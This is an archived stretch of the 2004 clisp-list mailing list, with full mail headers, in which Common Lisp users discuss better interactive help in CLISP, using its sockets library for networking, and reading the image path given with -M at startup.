Date: Sun Feb 8 22:55:36 2004 X-Original-Date: Mon, 09 Feb 2004 00:54:46 -0600 > (ext:help) *** - READ from # #>: # has no external symbol with name "HELP" From pascal@informatimago.com Sun Feb 08 23:23:52 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Aq5lo-0007uR-4z for clisp-list@lists.sourceforge.net; Sun, 08 Feb 2004 23:23:52 -0800 Received: from [62.93.174.78] (helo=larissa.informatimago.com ident=postfix) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1Aq5ln-0006fv-AM for clisp-list@lists.sourceforge.net; Sun, 08 Feb 2004 23:23:51 -0800 Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 115E8586E4; Mon, 9 Feb 2004 08:23:49 +0100 (CET) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 1545B38317; Mon, 9 Feb 2004 08:25:04 +0100 (CET) Message-ID: <16423.13776.33082.113302@thalassa.informatimago.com> To: Joe Corneli Cc: pjb@informatimago.com, clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: help w/ writing documentation? In-Reply-To: References: <16423.11505.42283.239317@thalassa.informatimago.com> X-Mailer: VM 7.17 under Emacs 21.3.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-1 Content-Language: en X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Feb 8 23:24:14 2004 X-Original-Date: Mon, 9 Feb 2004 08:25:04 +0100 Joe Corneli writes: > > > (ext:help) > > *** - READ from # STRING-INPUT-STREAM> #>: # EXT> has no external symbol with name "HELP" [22]> (help) ** - Continuable Error EVAL: undefined function HELP If you continue (by typing 'continue'): Retry The following restarts are also available: STORE-VALUE :R1 You may input a new value for (FDEFINITION 'HELP). USE-VALUE :R2 You may input a value to be used instead of (FDEFINITION 'HELP). Break 1 [23]> My point is that (help) could be taken as (common-lisp:help) and this cannot be. If you want to implement a help function, that should be in an implementation dependent package such as ext. [Note that my ~/.common.lisp which is loaded by my various ~/.clisprc.lisp, ~/.cmuclrc, ~/.sbclrc, etc does first thing: ;; clean the imported packages: (MAPC (LAMBDA (USED) (UNUSE-PACKAGE USED "COMMON-LISP-USER")) (REMOVE (FIND-PACKAGE "COMMON-LISP") (COPY-SEQ (PACKAGE-USE-LIST "COMMON-LISP-USER")))) ] -- __Pascal_Bourguignon__ http://www.informatimago.com/ There is no worse tyranny than to force a man to pay for what he doesn't want merely because you think it would be good for him.--Robert Heinlein http://www.theadvocates.org/ From dgou@mac.com Mon Feb 09 05:51:33 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AqBoz-00028M-Cj for clisp-list@lists.sourceforge.net; Mon, 09 Feb 2004 05:51:33 -0800 Received: from a17-250-248-87.apple.com ([17.250.248.87] helo=smtpout.mac.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1AqBoz-0004FV-7N for clisp-list@lists.sourceforge.net; Mon, 09 Feb 2004 05:51:33 -0800 Received: from mac.com (smtpin08-en2 [10.13.10.153]) by smtpout.mac.com (Xserve/MantshX 2.0) with ESMTP id i19DpWp3029355 for ; Mon, 9 Feb 2004 05:51:32 -0800 (PST) Received: from [192.168.1.102] (15.pins2.xdsl.nauticom.net [209.195.172.144]) (authenticated bits=0) by mac.com (Xserve/smtpin08/MantshX 3.0) with ESMTP id i19DpVED027117 for ; Mon, 9 Feb 2004 05:51:31 -0800 (PST) Mime-Version: 1.0 (Apple Message framework v612) Content-Transfer-Encoding: 7bit Message-Id: <0F907229-5B07-11D8-AA65-000393030214@mac.com> Content-Type: text/plain; charset=US-ASCII; format=flowed To: clisp-list@lists.sourceforge.net From: Douglas Philips X-Mailer: Apple Mail (2.612) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Networking? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Feb 9 05:52:09 2004 X-Original-Date: Mon, 9 Feb 2004 08:51:29 -0500 Hey all, Just a ping to find out if there are folks out there "doing much" with the sockets library in CLISP or if FFI is the preferred method. I found some messages in the archive from about 3 years ago re: UDP and using FFI... If there have been more recent messages, a pointer/tip to a subject line or date range would be appreciated. Thanks, Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: (Joe Corneli's message of "Sun, 08 Feb 2004 23:24:09 -0600") References: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Scanned-By: MIMEDefang 2.39 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: help w/ writing documentation? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Feb 9 06:50:05 2004 X-Original-Date: Mon, 09 Feb 2004 09:49:11 -0500 > * Joe Corneli [2004-02-08 23:24:09 -0600]: > > did you look at those texts? > > No, didn't know they were there. (Will look for this stuff, though I > installed clisp using Fink and I'm not sure where it will habe ...) http://clisp.cons.org/impnotes/ http://clisp.cons.org/clisp.html > what are your suggestions? > > One might start by making the following command more informative, > and proceed from there: > >> :h > > Help (abbreviated :h) = this list > Use the usual editing capabilities. > (quit) or (exit) leaves CLISP. I did not realize that when you said "on-line help" you meant "help from the running CLISP process", not "documentation on the web". Sorry. Indeed, it would be nice to have a better help available. > At any rate, I think it would be nice to mention > (describe (quote FUNCTION)) > among the top-level help. yes. > Continuing with this theme, it might be nice if e.g. > > (describe (quote car)) > > told you _something_ about how to _use_ the function car. Even > something as oblique as > > (car LIST) > > Return the car of LIST. If arg is nil, return nil. > Error if arg is not nil and not a cons cell. > -- Emacs C-h f car RET > > would be useful. Indeed, a lot of useful online documentation could > be copied from the emacs cl packages. the official documentation for CAR is . I think (describe 'car) should print the above URL. The non-ANSI features should be documented in the impnotes and DESCRIBE should print the reference to the appropriate place in the impnotes. -- Sam Steingold (http://www.podval.org/~sds) running w2k Lisp suffers from being twenty or thirty years ahead of time. From sds@gnu.org Mon Feb 09 07:08:49 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AqD1c-0004xE-J4 for clisp-list@lists.sourceforge.net; Mon, 09 Feb 2004 07:08:40 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1AqD1c-00081B-6w for clisp-list@lists.sourceforge.net; Mon, 09 Feb 2004 07:08:40 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i19F8Snm020846; Mon, 9 Feb 2004 10:08:28 -0500 (EST) To: clisp-list@lists.sourceforge.net, Douglas Philips Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <0F907229-5B07-11D8-AA65-000393030214@mac.com> (Douglas Philips's message of "Mon, 9 Feb 2004 08:51:29 -0500") References: <0F907229-5B07-11D8-AA65-000393030214@mac.com> Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Scanned-By: MIMEDefang 2.39 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Networking? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Feb 9 07:09:06 2004 X-Original-Date: Mon, 09 Feb 2004 10:08:28 -0500 > * Douglas Philips [2004-02-09 08:51:29 -0500]: > > Just a ping to find out if there are folks out there "doing much" with > the sockets library in CLISP CLOCC/CLLIB/gq.lisp gets stock quotes over the web. CLOCC/CLLIB/rpm.lisp gets RPM updates (poor man's apt-get/up2date) > or if FFI is the preferred method. I have never used FFI for networking. -- Sam Steingold (http://www.podval.org/~sds) running w2k Save your burned out bulbs for me, I'm building my own dark room. From hin@van-halen.alma.com Mon Feb 09 07:29:38 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AqDLu-0003X2-J5 for clisp-list@lists.sourceforge.net; Mon, 09 Feb 2004 07:29:38 -0800 Received: from coopers.dsl.net ([65.84.81.5]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1AqDLu-0005LK-AF for clisp-list@lists.sourceforge.net; Mon, 09 Feb 2004 07:29:38 -0800 Received: from van-halen.alma.com (van-halen.alma.com [64.205.243.34]) by coopers.dsl.net (Postfix) with ESMTP id C780310DF76 for ; Mon, 9 Feb 2004 10:29:35 -0500 (EST) Received: from van-halen.alma.com (localhost [127.0.0.1]) by van-halen.alma.com (8.12.10/8.12.10) with ESMTP id i19FTZwu019560 for ; Mon, 9 Feb 2004 10:29:35 -0500 Received: (from hin@localhost) by van-halen.alma.com (8.12.10/8.12.10/Submit) id i19FTZVU019557; Mon, 9 Feb 2004 10:29:35 -0500 Message-Id: <200402091529.i19FTZVU019557@van-halen.alma.com> From: "John K. Hinsdale" To: clisp-list@lists.sourceforge.net In-reply-to: (message from Sam Steingold on Mon, 09 Feb 2004 10:08:28 -0500) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Networking? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Feb 9 07:30:14 2004 X-Original-Date: Mon, 9 Feb 2004 10:29:35 -0500 > * Douglas Philips [2004-02-09 08:51:29 -0500]: > Just a ping to find out if there are folks out there "doing much" with > the sockets library in CLISP I haven't used the sockets directly even though my code does some networked stuff (Oracle access, LDAP access and CGI access). Though each of these layers does sockets traffic, the socket access is done not in lisp but directly by the corresponding library that interfaces to Lisp. Now, I *AM* thinking of writing a simple SMTP client for my programs to send Email notifications to me for certain events. For that I would use the socket interface directly from Lisp to speak the SMTP protocol. >> or if FFI is the preferred method. > [Sam Steingold] > I have never used FFI for networking. Indeed, nor would I expect would you have to; in fact if one found oneself using the FFI so that he could make TCP/IP related calls from "C" for functionality he needed from Lisp, that is probably an indication that the socket lib is lacking and thus occasion to incorporate instead those functions in the socket lib instead. Hope that made sense. PS: There seems to be a simple SMTP client at Franz's site but it appears Franz/allegro specific (just as my CLISP-sockets SMTP lib would probably be clisp specific). From taube@uiuc.edu Mon Feb 09 07:31:21 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AqDNZ-0004Ak-46 for clisp-list@lists.sourceforge.net; Mon, 09 Feb 2004 07:31:21 -0800 Received: from expredir2.cites.uiuc.edu ([128.174.5.185]) by sc8-sf-mx1.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.30) id 1AqDNY-000690-Cz for clisp-list@lists.sourceforge.net; Mon, 09 Feb 2004 07:31:20 -0800 Received: from [128.174.103.233] (pinhead.music.uiuc.edu [128.174.103.233]) by expredir2.cites.uiuc.edu (8.12.10/8.12.10) with ESMTP id i19FVIR3007155 for ; Mon, 9 Feb 2004 09:31:18 -0600 (CST) Mime-Version: 1.0 (Apple Message framework v612) In-Reply-To: References: Content-Type: text/plain; charset=US-ASCII; format=flowed Message-Id: <015BA8F7-5B15-11D8-9231-000A95674CE4@uiuc.edu> Content-Transfer-Encoding: 7bit From: Rick Taube To: clisp-list@lists.sourceforge.net X-Mailer: Apple Mail (2.612) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] clisp *args* question Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Feb 9 07:32:13 2004 X-Original-Date: Mon, 9 Feb 2004 09:31:18 -0600 If I save a clisp image and then boot it thusly: clisp -M /path/to/my.img is it possible to discover at runtime what the value for -M was? I had hoped that ext:*args* would give me this, but its always nil when my init-function is called as you can see in this trace printout: [pinhead hkt] ~> /usr/local/bin/clisp -I -q -ansi -M /Lisp/cm/bin/../bin/clisp_2.31_darwin-powerpc/cm.img (*ARGS* -> NIL) /\\\ ---\\\--------- ----\\\-------- ----/\\\------- Common Music 2.4.2 ---/--\\\------ --/----\\\----- / \\\/ [1]> (lisp-implementation-version) "2.31 (2003-09-01) (built on cmn13.stanford.edu [171.64.197.162])" I would like to be able to find out the -M value at runtime because one of the "rules" id like for my init loading in a binary release would allow an initfile for my program to be placed in whatever directory the user put the application image. I can determine this value is all Lisps so far but clisp which I have not been able to figure out yet so far -- is there any way for my program get the compelte args passed to lisp.run ?? Rick Taube Associate Professor, Composition/Theory School of Music University of Illinois Urbana, IL 61821 USA net: taube@uiuc.edu fax: 217 244 8319 vox: 217 244 2684 From kraehe@copyleft.de Mon Feb 09 07:48:20 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AqDds-0001Vp-4J for clisp-list@lists.sourceforge.net; Mon, 09 Feb 2004 07:48:12 -0800 Received: from mout2.freenet.de ([194.97.50.155]) by sc8-sf-mx2.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.30) id 1AqDdr-0008Ps-Kd for clisp-list@lists.sourceforge.net; Mon, 09 Feb 2004 07:48:11 -0800 Received: from [194.97.55.148] (helo=mx5.freenet.de) by mout2.freenet.de with asmtp (Exim 4.30) id 1AqDdo-0001wD-Cz; Mon, 09 Feb 2004 16:48:08 +0100 Received: from g4602.g.pppool.de ([80.185.70.2] helo=bakunin.copyleft.de) by mx5.freenet.de with esmtp (Exim 4.30 #3) id 1AqDdo-00048D-5h; Mon, 09 Feb 2004 16:48:08 +0100 Received: from kraehe by bakunin.copyleft.de with local (Exim 3.35 #1 (Debian)) id 1AqDdr-0007ux-00; Mon, 09 Feb 2004 16:48:11 +0100 From: Michael Koehne To: Douglas Philips , clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Networking? Message-ID: <20040209154811.GA30398@bakunin.copyleft.de> References: <0F907229-5B07-11D8-AA65-000393030214@mac.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <0F907229-5B07-11D8-AA65-000393030214@mac.com> User-Agent: Mutt/1.3.28i X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Feb 9 07:49:07 2004 X-Original-Date: Mon, 9 Feb 2004 16:48:11 +0100 Moin Douglas Philips, > Just a ping to find out if there are folks out there "doing much" > with the sockets library in CLISP or if FFI is the preferred method. I > found some messages in the archive from about 3 years ago re: UDP and > using FFI... If there have been more recent messages, a pointer/tip to > a subject line or date range would be appreciated. Thanks, normal networking improved a bit last year, when I needed (socket-status to work right in combination with (read-byte-sequence - so normal TCP client server applications are possible. (setq s (socket-server 5555)) (setq x (socket-accept s)) (format x "Hello!~%") (setq y (read-line x)) (format x "y = ~A~%" y) (format x "BYE~%") (close x) (socket-server-close s) This could be exteneded towards you application. But you may either want to fork() after (socket-accept to continue using a simple (read-line on the socket, or you need to use (read-byte-sequence as stdio does'nt work with select(). An FFI implementing simple (read-line and hiding the nastynesses of IAC telnet signals would be nice. I therefore swiched to GCL where (defentry is much easier than FFI. Bye Michael -- mailto:kraehe@copyleft.de UNA:+.? 'CED+2+:::Linux:2.4.22'UNZ+1' http://www.xml-edifact.org/ CETERUM CENSEO WINDOWS ESSE DELENDAM From hin@van-halen.alma.com Mon Feb 09 08:09:12 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AqDyB-0000HU-Qr for clisp-list@lists.sourceforge.net; Mon, 09 Feb 2004 08:09:11 -0800 Received: from coopers.dsl.net ([65.84.81.5]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1AqDyB-0008Rc-HM for clisp-list@lists.sourceforge.net; Mon, 09 Feb 2004 08:09:11 -0800 Received: from van-halen.alma.com (van-halen.alma.com [64.205.243.34]) by coopers.dsl.net (Postfix) with ESMTP id E953710DF3F; Mon, 9 Feb 2004 11:09:10 -0500 (EST) Received: from van-halen.alma.com (localhost [127.0.0.1]) by van-halen.alma.com (8.12.10/8.12.10) with ESMTP id i19G9Awu019895; Mon, 9 Feb 2004 11:09:10 -0500 Received: (from hin@localhost) by van-halen.alma.com (8.12.10/8.12.10/Submit) id i19G9A6V019892; Mon, 9 Feb 2004 11:09:10 -0500 Message-Id: <200402091609.i19G9A6V019892@van-halen.alma.com> From: "John K. Hinsdale" To: taube@uiuc.edu Cc: clisp-list@lists.sourceforge.net In-reply-to: <015BA8F7-5B15-11D8-9231-000A95674CE4@uiuc.edu> (message from Rick Taube on Mon, 9 Feb 2004 09:31:18 -0600) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: clisp *args* question Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Feb 9 08:10:04 2004 X-Original-Date: Mon, 9 Feb 2004 11:09:10 -0500 # If I save a clisp image and then boot it thusly: # clisp -M /path/to/my.img # # is it possible to discover at runtime what the value for -M was? [This is somewhat tacky and does not truly answer your exact question but it will work:] Assuming you are on a Unix, you can pass in the info via the shell envirnoment: call CLISP instead w/ this shell script #---------- Cut here ------ #!/bin/sh # Save this as clisp_wrapper CLISP_ARGS="-q -E en -K full" export CLISP_ARGS clisp $CLISP_ARGS #---------- Cut here ------ You can put the "-M " in place of CLISP_ARGS. Now when I the wrapper is run the args are accessible via GETENV hin@van-halen /van-halen/u/hin>./clisp_wrapper [1]> (getenv "CLISP_ARGS") "-q -E en -K full " [2]> In your case you would see "-M /path/to/my.img" as the result of eval'ing (getenv "CLISP_ARGS") If you needed just the the file name you'd have to parse it out, and also make sure to ignore other args if -M was not the only one used. See I told you it was tacky. :) --- John Hinsdale, Alma Mater Software, Inc., Tarrytown, NY 10591-3710 USA hin@alma.com | http://www.alma.com/staff/hin | +1 914 631 4690 From russell_mcmanus@yahoo.com Mon Feb 09 08:12:37 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AqE1T-0001Dt-L9 for clisp-list@lists.sourceforge.net; Mon, 09 Feb 2004 08:12:35 -0800 Received: from dsl081-203-031.nyc2.dsl.speakeasy.net ([64.81.203.31] helo=thelonious.dyndns.org) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1AqE1S-0000pN-Nj for clisp-list@lists.sourceforge.net; Mon, 09 Feb 2004 08:12:34 -0800 Received: by thelonious.dyndns.org (Postfix, from userid 1000) id 7F64DBC; Mon, 9 Feb 2004 11:12:20 -0500 (EST) To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: help w/ writing documentation? References: From: Russell McManus In-Reply-To: (Sam Steingold's message of "Mon, 09 Feb 2004 09:49:11 -0500") Message-ID: <87llnc44gr.fsf@thelonious.dyndns.org> User-Agent: Gnus/5.1002 (Gnus v5.10.2) XEmacs/21.4 (Portable Code, berkeley-unix) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.5 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.5 FORGED_YAHOO_RCVD 'From' yahoo.com does not match 'Received' headers Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Feb 9 08:13:13 2004 X-Original-Date: Mon, 09 Feb 2004 11:12:20 -0500 Sam Steingold writes: > I did not realize that when you said "on-line help" you meant "help from > the running CLISP process", not "documentation on the web". Sorry. > Indeed, it would be nice to have a better help available. defun, defvar, and friends could be changed to stuff the docstring if supplied on the symbol plist, and the describe function could look there for it. From amoroso@mclink.it Mon Feb 09 09:33:00 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AqFHH-0007y7-6o for clisp-list@lists.sourceforge.net; Mon, 09 Feb 2004 09:32:59 -0800 Received: from mail6.mclink.it ([195.110.128.67]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1AqFHG-0004Nv-Jm for clisp-list@lists.sourceforge.net; Mon, 09 Feb 2004 09:32:58 -0800 Received: from net145-027.mclink.it (net145-027.mclink.it [195.110.145.27]) by mail6.mclink.it (8.12.6p2/8.12.3) with ESMTP id i19HWlQI076971 for ; Mon, 9 Feb 2004 18:32:52 +0100 (CET) (envelope-from amoroso@mclink.it) Received: (qmail 2643 invoked by uid 1000); 9 Feb 2004 16:47:39 -0000 To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: Networking? References: <200402091529.i19FTZVU019557@van-halen.alma.com> From: Paolo Amoroso Organization: Paolo Amoroso - Milano, ITALY In-Reply-To: <200402091529.i19FTZVU019557@van-halen.alma.com> (John K. Hinsdale's message of "Mon, 9 Feb 2004 10:29:35 -0500") Message-ID: <87vfmgfbdg.fsf@plato.moon.paoloamoroso.it> User-Agent: Gnus/5.1002 (Gnus v5.10.2) Emacs/20.7 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Feb 9 09:33:08 2004 X-Original-Date: Mon, 09 Feb 2004 17:47:39 +0100 "John K. Hinsdale" writes: > Now, I *AM* thinking of writing a simple SMTP client for my programs [...] > PS: There seems to be a simple SMTP client at Franz's site but it > appears Franz/allegro specific (just as my CLISP-sockets SMTP lib You may check the code that comes with CLOCC: src/cllib/url.lisp Paolo -- Why Lisp? http://alu.cliki.net/RtL%20Highlight%20Film From jcorneli@math.utexas.edu Mon Feb 09 11:54:50 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AqHUY-0008IW-BE for clisp-list@lists.sourceforge.net; Mon, 09 Feb 2004 11:54:50 -0800 Received: from dell3.ma.utexas.edu ([146.6.139.124]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1AqHUX-0005Rp-V5 for clisp-list@lists.sourceforge.net; Mon, 09 Feb 2004 11:54:50 -0800 Received: from linux183.ma.utexas.edu (mail@linux183.ma.utexas.edu [146.6.139.172]) by dell3.ma.utexas.edu (8.11.0.Beta3/8.10.2) with ESMTP id i19Jsng18419; Mon, 9 Feb 2004 13:54:49 -0600 Received: from jcorneli by linux183.ma.utexas.edu with local (Exim 3.36 #1 (Debian)) id 1AqHUX-0001Xr-00; Mon, 09 Feb 2004 13:54:49 -0600 To: clisp-list@lists.sourceforge.net CC: clisp-list@lists.sourceforge.net In-reply-to: (message from Sam Steingold on Mon, 09 Feb 2004 09:49:11 -0500) X-all-your-base-are-belong-to-us: You are on the way to destruction. References: Message-Id: From: Joe Corneli X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: help w/ writing documentation? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Feb 9 11:55:12 2004 X-Original-Date: Mon, 09 Feb 2004 13:54:49 -0600 > installed clisp using Fink and I'm not sure where it will habe ...) I found them in /sw/share/doc/clisp/ the official documentation for CAR is . I think (describe 'car) should print the above URL. The non-ANSI features should be documented in the impnotes and DESCRIBE should print the reference to the appropriate place in the impnotes. I think it would be nice if the data was actually printed to the screen, not just the reference. It shouldn't be too hard w/ some text processing to get the stuff to print - assuming it can be freely distributed. From pascal@informatimago.com Mon Feb 09 12:28:24 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AqI11-0002lu-Km for clisp-list@lists.sourceforge.net; Mon, 09 Feb 2004 12:28:23 -0800 Received: from [62.93.174.78] (helo=larissa.informatimago.com ident=postfix) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1AqI10-00079r-VJ for clisp-list@lists.sourceforge.net; Mon, 09 Feb 2004 12:28:23 -0800 